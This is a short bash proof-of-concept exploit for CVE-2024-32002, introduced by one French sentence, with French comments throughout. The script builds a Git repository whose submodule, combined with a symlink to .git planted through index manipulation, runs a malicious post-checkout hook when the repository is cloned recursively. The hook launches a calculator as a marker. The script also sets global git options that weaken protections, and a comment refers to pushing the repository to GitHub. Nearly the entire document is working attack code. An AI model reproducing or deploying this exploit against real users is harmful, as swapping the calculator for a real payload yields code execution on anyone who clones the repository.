
Exploit de preuve de concept pour CVE-2024-32002, démontrant une exécution de code à distance basée sur les sous-modules Git et les symlinks via un hook post-checkout malveillant.
#!/bin/bash
# Définir les options de configuration Git
git config --global protocol.file.allow always
git config --global core.symlinks true
# Éviter les messages d'avertissement (définir la branche par défaut sur main)
git config --global init.defaultBranch main
# Définir le chemin du fichier indicateur (tell-tale)
tell_tale_path="$PWD/tell.tale"
# Initialiser le dépôt hook
git init hook
cd hook
mkdir -p y/hooks
# Écrire le code malveillant dans le hook, adapté aux environnements Windows et Mac
cat > y/hooks/post-checkout <<EOF
#!/bin/bash
calc.exe
open -a Calculator.app
EOF
# Rendre le hook exécutable : important
chmod +x y/hooks/post-checkout
git add y/hooks/post-checkout
git commit -m "post-checkout"
cd ..
# Définir le chemin du dépôt hook
hook_repo_path="$(pwd)/hook"
# Initialiser le dépôt captain
git init captain
cd captain
git submodule add --name x/y "$hook_repo_path" A/modules/x
git commit -m "add-submodule"
# Créer un lien symbolique
printf ".git" > dotgit.txt
git hash-object -w --stdin < dotgit.txt > dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
git update-index --index-info < index.info
git commit -m "add-symlink"
cd ..
# Test local, inutile de l'utiliser après avoir poussé sur GitHub
git clone --recursive captain hooked